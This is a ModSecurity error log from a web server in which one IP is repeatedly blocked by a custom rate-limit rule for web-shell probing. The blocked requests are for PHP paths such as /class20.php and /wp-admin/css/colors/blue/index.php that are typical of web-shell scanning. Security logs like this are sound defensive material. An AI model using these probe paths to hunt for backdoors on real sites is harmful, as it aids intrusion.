[Wed Jan 07 00:48:35.356087 2026] [:error] [pid 44903:tid 44909] [client 4.194.99.99:17381] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aV0849hHqjs38zbkQPBbcAAAAAI"]
[Wed Jan 07 00:48:36.684581 2026] [:error] [pid 45959:tid 45966] [client 4.194.99.99:17241] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aV085Fajdn8P3hjgMYxDOAAAAUQ"]
[Wed Jan 07 00:48:37.172351 2026] [:error] [pid 45959:tid 45970] [client 4.194.99.99:17376] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aV085Vajdn8P3hjgMYxDOwAAAUg"]
[Wed Jan 07 00:48:38.614629 2026] [:error] [pid 44903:tid 44933] [client 4.194.99.99:17226] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xz89.php"] [unique_id "aV085thHqjs38zbkQPBbeAAAABg"]
[Wed Jan 07 00:48:46.306730 2026] [:error] [pid 44904:tid 44958] [client 4.194.99.99:17395] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aV087jtieuI1BJEZcvd2RAAAAFE"]
[Wed Jan 07 00:48:47.164829 2026] [:error] [pid 45959:tid 45966] [client 4.194.99.99:17293] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aV0871ajdn8P3hjgMYxDUwAAAUQ"]
[Wed Jan 07 00:48:48.220177 2026] [:error] [pid 35140:tid 35144] [client 4.194.99.99:17326] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aV088HoQaIDFMbT-XMwR8gAAAQI"]
[Wed Jan 07 00:48:49.466900 2026] [:error] [pid 35140:tid 35164] [client 4.194.99.99:17401] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aV088XoQaIDFMbT-XMwR_AAAARY"]
[Wed Jan 07 00:48:51.479186 2026] [:error] [pid 45959:tid 45980] [client 4.194.99.99:17223] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aV0881ajdn8P3hjgMYxDWgAAAVI"]
[Wed Jan 07 00:48:52.658166 2026] [:error] [pid 44903:tid 44907] [client 4.194.99.99:17398] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aV089NhHqjs38zbkQPBbjQAAAAA"]
[Wed Jan 07 00:48:53.335328 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17403] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aV089bu7ufwWVst9EAssywAAAIg"]
[Wed Jan 07 00:48:53.823095 2026] [:error] [pid 44904:tid 44945] [client 4.194.99.99:17316] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aV089TtieuI1BJEZcvd2UAAAAEQ"]
[Wed Jan 07 00:48:54.623562 2026] [:error] [pid 45959:tid 45976] [client 4.194.99.99:17311] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV089lajdn8P3hjgMYxDYwAAAU4"]
[Wed Jan 07 00:48:55.835627 2026] [:error] [pid 35140:tid 35144] [client 4.194.99.99:17296] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV0893oQaIDFMbT-XMwSAwAAAQI"]
[Wed Jan 07 00:48:57.157381 2026] [:error] [pid 44903:tid 44916] [client 4.194.99.99:17236] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV08-dhHqjs38zbkQPBblQAAAAk"]
[Wed Jan 07 00:48:58.002933 2026] [:error] [pid 45959:tid 45970] [client 4.194.99.99:17361] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV08-lajdn8P3hjgMYxDcAAAAUg"]
[Wed Jan 07 00:48:58.927724 2026] [:error] [pid 44904:tid 44956] [client 4.194.99.99:17230] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV08-jtieuI1BJEZcvd2XQAAAE8"]
[Wed Jan 07 00:49:00.244281 2026] [:error] [pid 35140:tid 35161] [client 4.194.99.99:17229] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV08_HoQaIDFMbT-XMwSBwAAARM"]
[Wed Jan 07 00:49:01.484513 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17387] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV08_dhHqjs38zbkQPBbpAAAAAo"]
[Wed Jan 07 00:49:02.551316 2026] [:error] [pid 35140:tid 35155] [client 4.194.99.99:17282] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aV08_noQaIDFMbT-XMwSCwAAAQ0"]
[Wed Jan 07 00:49:03.308154 2026] [:error] [pid 44904:tid 44959] [client 4.194.99.99:17333] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV08_ztieuI1BJEZcvd2YQAAAFI"]
[Wed Jan 07 00:49:03.681328 2026] [:error] [pid 44904:tid 44965] [client 4.194.99.99:17388] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV08_ztieuI1BJEZcvd2YgAAAFg"]
[Wed Jan 07 00:49:04.235772 2026] [:error] [pid 45012:tid 45024] [client 4.194.99.99:17321] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV09ABaMAxCuju1d0uZPFQAAAMo"]
[Wed Jan 07 00:49:04.648372 2026] [:error] [pid 45012:tid 45038] [client 4.194.99.99:17367] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aV09ABaMAxCuju1d0uZPFgAAANg"]
[Wed Jan 07 00:49:05.228188 2026] [:error] [pid 45959:tid 45986] [client 4.194.99.99:17292] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09AVajdn8P3hjgMYxDeQAAAVg"]
[Wed Jan 07 00:49:05.736195 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17372] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09ARaMAxCuju1d0uZPGAAAANA"]
[Wed Jan 07 00:49:06.506619 2026] [:error] [pid 44904:tid 44962] [client 4.194.99.99:17386] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09AjtieuI1BJEZcvd2ZwAAAFU"]
[Wed Jan 07 00:49:07.130248 2026] [:error] [pid 44904:tid 44953] [client 4.194.99.99:17327] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09AztieuI1BJEZcvd2aAAAAEw"]
[Wed Jan 07 00:49:07.917702 2026] [:error] [pid 44903:tid 44924] [client 4.194.99.99:17328] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aV09A9hHqjs38zbkQPBbqAAAABE"]
[Wed Jan 07 00:49:08.843099 2026] [:error] [pid 44903:tid 44922] [client 4.194.99.99:17334] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aV09BNhHqjs38zbkQPBbqgAAAA8"]
[Wed Jan 07 00:49:09.911945 2026] [:error] [pid 44904:tid 44960] [client 4.194.99.99:17247] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aV09BTtieuI1BJEZcvd2awAAAFM"]
[Wed Jan 07 00:49:10.562908 2026] [:error] [pid 44903:tid 44918] [client 4.194.99.99:17233] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.php"] [unique_id "aV09BthHqjs38zbkQPBbrQAAAAs"]
[Wed Jan 07 00:49:11.630687 2026] [:error] [pid 45959:tid 45971] [client 4.194.99.99:17277] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aV09B1ajdn8P3hjgMYxDhAAAAUk"]
[Wed Jan 07 00:49:12.150017 2026] [:error] [pid 44904:tid 44954] [client 4.194.99.99:17382] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aV09CDtieuI1BJEZcvd2bQAAAE0"]
[Wed Jan 07 00:49:12.790089 2026] [:error] [pid 44904:tid 44941] [client 4.194.99.99:17216] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aV09CDtieuI1BJEZcvd2bgAAAEA"]
[Wed Jan 07 00:49:13.650301 2026] [:error] [pid 45959:tid 45968] [client 4.194.99.99:17162] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aV09CVajdn8P3hjgMYxDjgAAAUY"]
[Wed Jan 07 00:49:15.010249 2026] [:error] [pid 45959:tid 45981] [client 4.194.99.99:17336] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aV09C1ajdn8P3hjgMYxDlgAAAVM"]
[Wed Jan 07 00:49:15.790273 2026] [:error] [pid 45959:tid 45964] [client 4.194.99.99:17299] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aV09C1ajdn8P3hjgMYxDmAAAAUI"]
[Wed Jan 07 00:49:17.371888 2026] [:error] [pid 45012:tid 45032] [client 4.194.99.99:17285] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aV09DRaMAxCuju1d0uZPJAAAANI"]
[Wed Jan 07 00:49:18.120964 2026] [:error] [pid 35140:tid 35153] [client 4.194.99.99:17228] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aV09DnoQaIDFMbT-XMwSHAAAAQs"]
[Wed Jan 07 00:49:18.632176 2026] [:error] [pid 35140:tid 35162] [client 4.194.99.99:17337] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aV09DnoQaIDFMbT-XMwSHgAAARQ"]
[Wed Jan 07 00:49:19.397564 2026] [:error] [pid 45959:tid 45969] [client 4.194.99.99:17158] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aV09D1ajdn8P3hjgMYxDngAAAUc"]
[Wed Jan 07 00:49:20.861516 2026] [:error] [pid 44903:tid 44927] [client 4.194.99.99:17237] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aV09ENhHqjs38zbkQPBbswAAABQ"]
[Wed Jan 07 00:49:21.922579 2026] [:error] [pid 44903:tid 44916] [client 4.194.99.99:17244] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aV09EdhHqjs38zbkQPBbtAAAAAk"]
[Wed Jan 07 00:49:23.267644 2026] [:error] [pid 35140:tid 35166] [client 4.194.99.99:17304] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aV09E3oQaIDFMbT-XMwSIgAAARg"]
[Wed Jan 07 00:49:24.601328 2026] [:error] [pid 35140:tid 35145] [client 4.194.99.99:17404] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aV09FHoQaIDFMbT-XMwSJAAAAQM"]
[Wed Jan 07 00:49:25.439961 2026] [:error] [pid 44905:tid 44987] [client 4.194.99.99:17389] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aV09Fbu7ufwWVst9EAss6wAAAJM"]
[Wed Jan 07 00:49:25.837641 2026] [:error] [pid 44904:tid 44944] [client 4.194.99.99:17369] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aV09FTtieuI1BJEZcvd2dwAAAEM"]
[Wed Jan 07 00:49:26.262628 2026] [:error] [pid 35140:tid 35148] [client 4.194.99.99:17196] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aV09FnoQaIDFMbT-XMwSKAAAAQY"]
[Wed Jan 07 00:49:27.255147 2026] [:error] [pid 44904:tid 44950] [client 4.194.99.99:17297] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aV09FztieuI1BJEZcvd2egAAAEk"]
[Wed Jan 07 00:49:27.955031 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17224] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aV09FztieuI1BJEZcvd2ewAAAFc"]
[Wed Jan 07 00:49:28.714866 2026] [:error] [pid 45959:tid 45980] [client 4.194.99.99:17152] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aV09GFajdn8P3hjgMYxDoQAAAVI"]
[Wed Jan 07 00:49:29.295694 2026] [:error] [pid 44905:tid 44985] [client 4.194.99.99:17225] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aV09Gbu7ufwWVst9EAss_wAAAJE"]
[Wed Jan 07 00:49:29.687929 2026] [:error] [pid 35140:tid 35151] [client 4.194.99.99:17167] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aV09GXoQaIDFMbT-XMwSKgAAAQk"]
[Wed Jan 07 00:49:29.958678 2026] [:error] [pid 35140:tid 35165] [client 4.194.99.99:17320] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aV09GXoQaIDFMbT-XMwSKwAAARc"]
[Wed Jan 07 00:49:30.195000 2026] [:error] [pid 35140:tid 35144] [client 4.194.99.99:17307] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aV09GnoQaIDFMbT-XMwSLgAAAQI"]
